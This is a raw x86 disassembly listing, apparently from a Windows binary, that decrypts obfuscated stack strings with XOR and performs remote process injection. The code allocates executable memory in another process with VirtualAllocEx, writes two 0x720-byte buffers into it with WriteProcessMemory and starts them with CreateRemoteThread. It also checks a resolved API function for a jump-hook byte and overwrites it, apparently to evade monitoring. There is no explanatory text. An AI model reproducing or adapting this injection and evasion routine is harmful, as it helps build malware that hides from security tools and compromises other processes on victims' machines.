mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x2050], 0xac1d51b5
mov dword [ebp - 0x204c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
mov dword [ebp - 0x2048], 0x2e3c550a
mov dword [ebp - 0x2044], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1e90]
mov dword [ebp - 0x1100], 0x889299ee
push eax
lea eax, [ebp - 0x1ec0]
mov dword [ebp - 0x10fc], 0x73c01adf
push eax
lea ecx, [ebp - 0x31e8]
mov dword [ebp - 0x1ec0], 0x889299ee
mov dword [ebp - 0x1ebc], 0x73c01adf
mov dword [ebp - 0x10f8], 0x6b4fb2a3
mov dword [ebp - 0x10f4], 0xd0078680
mov dword [ebp - 0x1eb8], 0x6b4fb2a3
mov dword [ebp - 0x1eb4], 0xd0078680
mov dword [ebp - 0x10f0], 0x5bdb3d66
mov dword [ebp - 0x10ec], 0xefdd2b10
mov dword [ebp - 0x1eb0], 0x5bdb3d66
mov dword [ebp - 0x1eac], 0xefdd2b10
mov dword [ebp - 0x10e8], 0xc8054bab
mov dword [ebp - 0x10e4], 0x9d5c87a8
mov dword [ebp - 0x1ea8], 0xc8054bab
mov dword [ebp - 0x1ea4], 0x9d5c87a8
mov dword [ebp - 0x10e0], 0xac1d51b5
mov dword [ebp - 0x10dc], 0x453e7873
mov dword [ebp - 0x1ea0], 0xac1d51b5
mov dword [ebp - 0x1e9c], 0x453e7873
mov dword [ebp - 0x10d8], 0x2e3c550a
mov dword [ebp - 0x10d4], 0x6b38d9fa
mov dword [ebp - 0x1e98], 0x2e3c550a
mov dword [ebp - 0x1e94], 0x6b38d9fa
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x1100]
lea eax, [ebp - 0x1100]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1100], xmm1
movaps xmm1, xmmword [ebp - 0x10f0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x10f0], xmm1
movaps xmm1, xmmword [ebp - 0x10e0]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x10e0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1ef
push 0x40
push 0x3000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2c10], eax
test eax, eax
jne 0x45be9f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x2040], 0x928580f7
lea eax, [ebp - 0x2010]
mov dword [ebp - 0x203c], 0x51c309fa
push eax
lea eax, [ebp - 0x2040]
mov dword [ebp - 0x2038], 0x2853adaa
push eax
lea ecx, [ebp - 0x31e0]
mov dword [ebp - 0x2034], 0xda4e9fa3
mov dword [ebp - 0x2030], 0x49973062
mov dword [ebp - 0x202c], 0xa6c27f1d
mov dword [ebp - 0x2028], 0xce414cbc
mov dword [ebp - 0x2024], 0xb75dc6e7
mov dword [ebp - 0x2020], 0xac173590
mov dword [ebp - 0x201c], 0x453e7873
mov dword [ebp - 0x2018], 0x2e3c550a
mov dword [ebp - 0x2014], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1ec0]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1ef0]
mov dword [ebp - 0x89c], 0x10af688f
push eax
lea ecx, [ebp - 0x31d8]
mov dword [ebp - 0x1ef0], 0xe6f7e9a1
mov dword [ebp - 0x1eec], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
mov dword [ebp - 0x1ee8], 0x4b3cc1c6
mov dword [ebp - 0x1ee4], 0xbc6ee7e6
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x1ee0], 0x2cfb5903
mov dword [ebp - 0x1edc], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
mov dword [ebp - 0x1ed8], 0xad6124c8
mov dword [ebp - 0x1ed4], 0x9738a288
mov dword [ebp - 0x880], 0xac1d51b5
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x1ed0], 0xac1d51b5
mov dword [ebp - 0x1ecc], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
mov dword [ebp - 0x1ec8], 0x2e3c550a
mov dword [ebp - 0x1ec4], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1f20]
mov dword [ebp - 0x10d0], 0x928580f7
push eax
lea eax, [ebp - 0x1f50]
mov dword [ebp - 0x10cc], 0x51c309fa
push eax
lea ecx, [ebp - 0x31d0]
mov dword [ebp - 0x1f50], 0x928580f7
mov dword [ebp - 0x1f4c], 0x51c309fa
mov dword [ebp - 0x10c8], 0x2853adaa
mov dword [ebp - 0x10c4], 0xda4e9fa3
mov dword [ebp - 0x1f48], 0x2853adaa
mov dword [ebp - 0x1f44], 0xda4e9fa3
mov dword [ebp - 0x10c0], 0x49973062
mov dword [ebp - 0x10bc], 0xa6c27f1d
mov dword [ebp - 0x1f40], 0x49973062
mov dword [ebp - 0x1f3c], 0xa6c27f1d
mov dword [ebp - 0x10b8], 0xce414cbc
mov dword [ebp - 0x10b4], 0xb75dc6e7
mov dword [ebp - 0x1f38], 0xce414cbc
mov dword [ebp - 0x1f34], 0xb75dc6e7
mov dword [ebp - 0x10b0], 0xac173590
mov dword [ebp - 0x10ac], 0x453e7873
mov dword [ebp - 0x1f30], 0xac173590
mov dword [ebp - 0x1f2c], 0x453e7873
mov dword [ebp - 0x10a8], 0x2e3c550a
mov dword [ebp - 0x10a4], 0x6b38d9fa
mov dword [ebp - 0x1f28], 0x2e3c550a
mov dword [ebp - 0x1f24], 0x6b38d9fa
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x10d0]
lea eax, [ebp - 0x10d0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x10d0], xmm1
movaps xmm1, xmmword [ebp - 0x10c0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x10c0], xmm1
movaps xmm1, xmmword [ebp - 0x10b0]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x10b0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1ef
push 4
push 0x1000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2c0c], eax
test eax, eax
jne 0x45c1c5
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1f80], 0xc6aadbfa
lea eax, [ebp - 0x1f50]
mov dword [ebp - 0x1f7c], 0x64dd01d9
push eax
lea eax, [ebp - 0x1f80]
mov dword [ebp - 0x1f78], 0xa50a0b3
push eax
lea ecx, [ebp - 0x31c8]
mov dword [ebp - 0x1f74], 0xdf018b8a
mov dword [ebp - 0x1f70], 0x4adb2146
mov dword [ebp - 0x1f6c], 0xaad93618
mov dword [ebp - 0x1f68], 0xc41604ac
mov dword [ebp - 0x1f64], 0xf418cafc
mov dword [ebp - 0x1f60], 0x8c7835da
mov dword [ebp - 0x1f5c], 0x45341c56
mov dword [ebp - 0x1f58], 0x2e3c550a
mov dword [ebp - 0x1f54], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1f80]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1fb0]
mov dword [ebp - 0x89c], 0x10af688f
push eax
lea ecx, [ebp - 0x31c0]
mov dword [ebp - 0x1fb0], 0xe6f7e9a1
mov dword [ebp - 0x1fac], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
mov dword [ebp - 0x1fa8], 0x4b3cc1c6
mov dword [ebp - 0x1fa4], 0xbc6ee7e6
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x1fa0], 0x2cfb5903
mov dword [ebp - 0x1f9c], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
mov dword [ebp - 0x1f98], 0xad6124c8
mov dword [ebp - 0x1f94], 0x9738a288
mov dword [ebp - 0x880], 0xac1d51b5
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x1f90], 0xac1d51b5
mov dword [ebp - 0x1f8c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
mov dword [ebp - 0x1f88], 0x2e3c550a
mov dword [ebp - 0x1f84], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1fb0]
mov dword [ebp - 0x10a0], 0xc6aadbfa
push eax
lea eax, [ebp - 0x1fe0]
mov dword [ebp - 0x109c], 0x64dd01d9
push eax
lea ecx, [ebp - 0x31b8]
mov dword [ebp - 0x1fe0], 0xc6aadbfa
mov dword [ebp - 0x1fdc], 0x64dd01d9
mov dword [ebp - 0x1098], 0xa50a0b3
mov dword [ebp - 0x1094], 0xdf018b8a
mov dword [ebp - 0x1fd8], 0xa50a0b3
mov dword [ebp - 0x1fd4], 0xdf018b8a
mov dword [ebp - 0x1090], 0x4adb2146
mov dword [ebp - 0x108c], 0xaad93618
mov dword [ebp - 0x1fd0], 0x4adb2146
mov dword [ebp - 0x1fcc], 0xaad93618
mov dword [ebp - 0x1088], 0xc41604ac
mov dword [ebp - 0x1084], 0xf418cafc
mov dword [ebp - 0x1fc8], 0xc41604ac
mov dword [ebp - 0x1fc4], 0xf418cafc
mov dword [ebp - 0x1080], 0x8c7835da
mov dword [ebp - 0x107c], 0x45341c56
mov dword [ebp - 0x1fc0], 0x8c7835da
mov dword [ebp - 0x1fbc], 0x45341c56
mov dword [ebp - 0x1078], 0x2e3c550a
mov dword [ebp - 0x1074], 0x6b38d9fa
mov dword [ebp - 0x1fb8], 0x2e3c550a
mov dword [ebp - 0x1fb4], 0x6b38d9fa
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x10a0]
lea eax, [ebp - 0x10a0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x10a0], xmm1
movaps xmm1, xmmword [ebp - 0x1090]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1090], xmm1
movaps xmm1, xmmword [ebp - 0x1080]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1080], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1ef
push 0
push 0x720
push 0x454430
push dword [ebp - 0x2c10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c4e9
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x2010], 0x929e9bf6
lea eax, [ebp - 0x1fe0]
mov dword [ebp - 0x200c], 0x7fdd38ea
push eax
lea eax, [ebp - 0x2010]
mov dword [ebp - 0x2008], 0x384fa4a5
push eax
lea ecx, [ebp - 0x31b0]
mov dword [ebp - 0x2004], 0xd30382ab
mov dword [ebp - 0x2000], 0x4adb2071
mov dword [ebp - 0x1ffc], 0xaad93618
mov dword [ebp - 0x1ff8], 0xc41604ac
mov dword [ebp - 0x1ff4], 0xf418cafc
mov dword [ebp - 0x1ff0], 0x8c7835da
mov dword [ebp - 0x1fec], 0x45341c56
mov dword [ebp - 0x1fe8], 0x2e3c550a
mov dword [ebp - 0x1fe4], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1b00]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1b30]
mov dword [ebp - 0x89c], 0x10af688f
push eax
lea ecx, [ebp - 0x31a8]
mov dword [ebp - 0x1b30], 0xe6f7e9a1
mov dword [ebp - 0x1b2c], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
mov dword [ebp - 0x1b28], 0x4b3cc1c6
mov dword [ebp - 0x1b24], 0xbc6ee7e6
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x1b20], 0x2cfb5903
mov dword [ebp - 0x1b1c], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
mov dword [ebp - 0x1b18], 0xad6124c8
mov dword [ebp - 0x1b14], 0x9738a288
mov dword [ebp - 0x880], 0xac1d51b5
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x1b10], 0xac1d51b5
mov dword [ebp - 0x1b0c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
mov dword [ebp - 0x1b08], 0x2e3c550a
mov dword [ebp - 0x1b04], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1b30]
mov dword [ebp - 0x1070], 0x929e9bf6
push eax
lea eax, [ebp - 0x1b60]
mov dword [ebp - 0x106c], 0x7fdd38ea
push eax
lea ecx, [ebp - 0x31a0]
mov dword [ebp - 0x1b60], 0x929e9bf6
mov dword [ebp - 0x1b5c], 0x7fdd38ea
mov dword [ebp - 0x1068], 0x384fa4a5
mov dword [ebp - 0x1064], 0xd30382ab
mov dword [ebp - 0x1b58], 0x384fa4a5
mov dword [ebp - 0x1b54], 0xd30382ab
mov dword [ebp - 0x1060], 0x4adb2071
mov dword [ebp - 0x105c], 0xaad93618
mov dword [ebp - 0x1b50], 0x4adb2071
mov dword [ebp - 0x1b4c], 0xaad93618
mov dword [ebp - 0x1058], 0xc41604ac
mov dword [ebp - 0x1054], 0xf418cafc
mov dword [ebp - 0x1b48], 0xc41604ac
mov dword [ebp - 0x1b44], 0xf418cafc
mov dword [ebp - 0x1050], 0x8c7835da
mov dword [ebp - 0x104c], 0x45341c56
mov dword [ebp - 0x1b40], 0x8c7835da
mov dword [ebp - 0x1b3c], 0x45341c56
mov dword [ebp - 0x1048], 0x2e3c550a
mov dword [ebp - 0x1044], 0x6b38d9fa
mov dword [ebp - 0x1b38], 0x2e3c550a
mov dword [ebp - 0x1b34], 0x6b38d9fa
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x1070]
lea eax, [ebp - 0x1070]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1070], xmm1
movaps xmm1, xmmword [ebp - 0x1060]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1060], xmm1
movaps xmm1, xmmword [ebp - 0x1050]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1050], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1ef
push 0
push 0x720
lea eax, [ebp - 0x2a60]
push eax
push dword [ebp - 0x2c0c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c80f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1b90], 0x929e9bf6
lea eax, [ebp - 0x1b60]
mov dword [ebp - 0x1b8c], 0x7fdd38ea
push eax
lea eax, [ebp - 0x1b90]
mov dword [ebp - 0x1b88], 0x384fa4a5
push eax
lea ecx, [ebp - 0x3198]
mov dword [ebp - 0x1b84], 0xd30382ab
mov dword [ebp - 0x1b80], 0x4adb2071
mov dword [ebp - 0x1b7c], 0xaad93618
mov dword [ebp - 0x1b78], 0xc41604ac
mov dword [ebp - 0x1b74], 0xf418cafc
mov dword [ebp - 0x1b70], 0x8c7835da
mov dword [ebp - 0x1b6c], 0x45341c56
mov dword [ebp - 0x1b68], 0x2e3c550a
mov dword [ebp - 0x1b64], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1b90]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1bc0]
mov dword [ebp - 0x89c], 0x10af688f
push eax
lea ecx, [ebp - 0x3190]
mov dword [ebp - 0x1bc0], 0xe6f7e9a1
mov dword [ebp - 0x1bbc], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
mov dword [ebp - 0x1bb8], 0x4b3cc1c6
mov dword [ebp - 0x1bb4], 0xbc6ee7e6
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x1bb0], 0x2cfb5903
mov dword [ebp - 0x1bac], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
mov dword [ebp - 0x1ba8], 0xad6124c8
mov dword [ebp - 0x1ba4], 0x9738a288
mov dword [ebp - 0x880], 0xac1d51b5
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x1ba0], 0xac1d51b5
mov dword [ebp - 0x1b9c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
mov dword [ebp - 0x1b98], 0x2e3c550a
mov dword [ebp - 0x1b94], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1bc0]
mov dword [ebp - 0x1040], 0x929e9bf6
push eax
lea eax, [ebp - 0x1bf0]
mov dword [ebp - 0x103c], 0x7fdd38ea
push eax
lea ecx, [ebp - 0x3188]
mov dword [ebp - 0x1bf0], 0x929e9bf6
mov dword [ebp - 0x1bec], 0x7fdd38ea
mov dword [ebp - 0x1038], 0x384fa4a5
mov dword [ebp - 0x1034], 0xd30382ab
mov dword [ebp - 0x1be8], 0x384fa4a5
mov dword [ebp - 0x1be4], 0xd30382ab
mov dword [ebp - 0x1030], 0x4adb2071
mov dword [ebp - 0x102c], 0xaad93618
mov dword [ebp - 0x1be0], 0x4adb2071
mov dword [ebp - 0x1bdc], 0xaad93618
mov dword [ebp - 0x1028], 0xc41604ac
mov dword [ebp - 0x1024], 0xf418cafc
mov dword [ebp - 0x1bd8], 0xc41604ac
mov dword [ebp - 0x1bd4], 0xf418cafc
mov dword [ebp - 0x1020], 0x8c7835da
mov dword [ebp - 0x101c], 0x45341c56
mov dword [ebp - 0x1bd0], 0x8c7835da
mov dword [ebp - 0x1bcc], 0x45341c56
mov dword [ebp - 0x1018], 0x2e3c550a
mov dword [ebp - 0x1014], 0x6b38d9fa
mov dword [ebp - 0x1bc8], 0x2e3c550a
mov dword [ebp - 0x1bc4], 0x6b38d9fa
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x1040]
lea eax, [ebp - 0x1040]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1040], xmm1
movaps xmm1, xmmword [ebp - 0x1030]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1030], xmm1
movaps xmm1, xmmword [ebp - 0x1020]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1020], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1ef
lea eax, [ebp - 0x1960]
mov dword [ebp - 0x1980], 0xaf858ded
push eax
lea eax, [ebp - 0x1980]
mov dword [ebp - 0x197c], 0x79db01e1
push eax
lea ecx, [ebp - 0x3180]
mov dword [ebp - 0x1978], 0x3155ada7
mov dword [ebp - 0x1974], 0xc906b383
mov dword [ebp - 0x1970], 0x2cfb326d
mov dword [ebp - 0x196c], 0xcfb55f79
mov dword [ebp - 0x1968], 0xad6124c8
mov dword [ebp - 0x1964], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1940]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1960]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x3178]
mov dword [ebp - 0x1960], 0xe6f7e9a1
mov dword [ebp - 0x195c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1958], 0x4b3cc1c6
mov dword [ebp - 0x1954], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1950], 0x2cfb5903
mov dword [ebp - 0x194c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1948], 0xad6124c8
mov dword [ebp - 0x1944], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1920]
mov dword [ebp - 0xd40], 0xaf858ded
push eax
lea eax, [ebp - 0x1940]
mov dword [ebp - 0xd3c], 0x79db01e1
push eax
lea ecx, [ebp - 0x3170]
mov dword [ebp - 0x1940], 0xaf858ded
mov dword [ebp - 0x193c], 0x79db01e1
mov dword [ebp - 0xd38], 0x3155ada7
mov dword [ebp - 0xd34], 0xc906b383
mov dword [ebp - 0x1938], 0x3155ada7
mov dword [ebp - 0x1934], 0xc906b383
mov dword [ebp - 0xd30], 0x2cfb326d
mov dword [ebp - 0xd2c], 0xcfb55f79
mov dword [ebp - 0x1930], 0x2cfb326d
mov dword [ebp - 0x192c], 0xcfb55f79
mov dword [ebp - 0xd28], 0xad6124c8
mov dword [ebp - 0xd24], 0x9738a288
mov dword [ebp - 0x1928], 0xad6124c8
mov dword [ebp - 0x1924], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xd40]
lea eax, [ebp - 0x2c28]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3168]
movaps xmmword [ebp - 0xd40], xmm1
movaps xmm1, xmmword [ebp - 0xd30]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2c38]
movaps xmmword [ebp - 0xd30], xmm1
push eax
mov dword [ebp - 0x2c38], 0x8a939dcf
mov dword [ebp - 0x2c34], 0x7ccb46e3
mov dword [ebp - 0x2c30], 0x4b3cc1aa
mov dword [ebp - 0x2c2c], 0xbc6ee7e6
call fcn.0045f990
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x2c48], 0xe6f7e9a1
mov dword [ebp - 0x2c44], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2c40], 0x4b3cc1c6
lea eax, [ebp - 0x2c38]
mov dword [ebp - 0x2c3c], 0xbc6ee7e6
push eax
lea eax, [ebp - 0x2c48]
push eax
lea ecx, [ebp - 0x3160]
call fcn.0045f990
lea eax, [ebp - 0x2c48]
mov dword [ebp - 0xa50], 0x8a939dcf
push eax
lea eax, [ebp - 0x2c58]
mov dword [ebp - 0xa4c], 0x7ccb46e3
push eax
lea ecx, [ebp - 0x3158]
mov dword [ebp - 0x2c58], 0x8a939dcf
mov dword [ebp - 0x2c54], 0x7ccb46e3
mov dword [ebp - 0xa48], 0x4b3cc1aa
mov dword [ebp - 0xa44], 0xbc6ee7e6
mov dword [ebp - 0x2c50], 0x4b3cc1aa
mov dword [ebp - 0x2c4c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa50]
lea eax, [ebp - 0xa50]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa50], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xd40]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 5
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x2c04], eax
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 0x1c], 0xe9
jne 0x45cb90
mov eax, dword [ebp - 0x2c04]
push 0
push 5
push eax
push eax
push esi
mov byte [ebp - 0x2bf5], 1
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x2c0c]
push dword [ebp - 0x2c10]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2c00], eax
test eax, eax
jne 0x45cee3
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1c20], 0x87929be2
lea eax, [ebp - 0x1bf0]
mov dword [ebp - 0x1c1c], 0x75fd0dfb
push eax
lea eax, [ebp - 0x1c20]
mov dword [ebp - 0x1c18], 0x2e48aeab
push eax
lea ecx, [ebp - 0x3150]
mov dword [ebp - 0x1c14], 0xd91c8fb2
mov dword [ebp - 0x1c10], 0x4adb3d62
mov dword [ebp - 0x1c0c], 0xaad93618
mov dword [ebp - 0x1c08], 0xc41604ac
mov dword [ebp - 0x1c04], 0xf418cafc
mov dword [ebp - 0x1c00], 0x8c7835da
mov dword [ebp - 0x1bfc], 0x45341c56
mov dword [ebp - 0x1bf8], 0x2e3c550a
mov dword [ebp - 0x1bf4], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1c20]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1c50]
mov dword [ebp - 0x89c], 0x10af688f
push eax
lea ecx, [ebp - 0x3148]
mov dword [ebp - 0x1c50], 0xe6f7e9a1
mov dword [ebp - 0x1c4c], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
mov dword [ebp - 0x1c48], 0x4b3cc1c6
mov dword [ebp - 0x1c44], 0xbc6ee7e6
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x1c40], 0x2cfb5903
mov dword [ebp - 0x1c3c], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
mov dword [ebp - 0x1c38], 0xad6124c8
mov dword [ebp - 0x1c34], 0x9738a288
mov dword [ebp - 0x880], 0xac1d51b5
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x1c30], 0xac1d51b5
mov dword [ebp - 0x1c2c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
mov dword [ebp - 0x1c28], 0x2e3c550a
mov dword [ebp - 0x1c24], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1c50]
mov dword [ebp - 0x1010], 0x87929be2
push eax
lea eax, [ebp - 0x1c80]
mov dword [ebp - 0x100c], 0x75fd0dfb
push eax
lea ecx, [ebp - 0x3140]
mov dword [ebp - 0x1c80], 0x87929be2
mov dword [ebp - 0x1c7c], 0x75fd0dfb
mov dword [ebp - 0x1008], 0x2e48aeab
mov dword [ebp - 0x1004], 0xd91c8fb2
mov dword [ebp - 0x1c78], 0x2e48aeab
mov dword [ebp - 0x1c74], 0xd91c8fb2
mov dword [ebp - 0x1000], 0x4adb3d62
mov dword [ebp - 0xffc], 0xaad93618
mov dword [ebp - 0x1c70], 0x4adb3d62
mov dword [ebp - 0x1c6c], 0xaad93618
mov dword [ebp - 0xff8], 0xc41604ac
mov dword [ebp - 0xff4], 0xf418cafc
mov dword [ebp - 0x1c68], 0xc41604ac
mov dword [ebp - 0x1c64], 0xf418cafc
mov dword [ebp - 0xff0], 0x8c7835da
mov dword [ebp - 0xfec], 0x45341c56
mov dword [ebp - 0x1c60], 0x8c7835da
mov dword [ebp - 0x1c5c], 0x45341c56
mov dword [ebp - 0xfe8], 0x2e3c550a
mov dword [ebp - 0xfe4], 0x6b38d9fa
mov dword [ebp - 0x1c58], 0x2e3c550a
mov dword [ebp - 0x1c54], 0x6b38d9fa
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x1010]
lea eax, [ebp - 0x1010]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1010], xmm1
movaps xmm1, xmmword [ebp - 0x1000]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1000], xmm1
movaps xmm1, xmmword [ebp - 0xff0]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0xff0], xmm1
call fcn.0044b300
add esp, 8
cmp byte [ebp - 0x2bf5], 0
je 0x45d1ef
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2c04]
push dword [ebp - 0x2c08]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x45d1ef
push 0x2bf20
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x2bfc], eax
call edi
cmp byte [ebp - 0x2bf5], 0
je 0x45cf20
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2c04]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x2c14]
push eax
push dword [ebp - 0x2c00]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x2bfc]
cmp eax, 0x102
je 0x45cf92
cmp eax, 0x80
je 0x45cf92
mov eax, dword [ebp - 0x2c14]
test eax, eax
je 0x45cf92
cmp eax, 0xffffffff
je 0x45cf92
push 0x2710
call edi
push 0x8000
push 0
push dword [ebp - 0x2c10]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
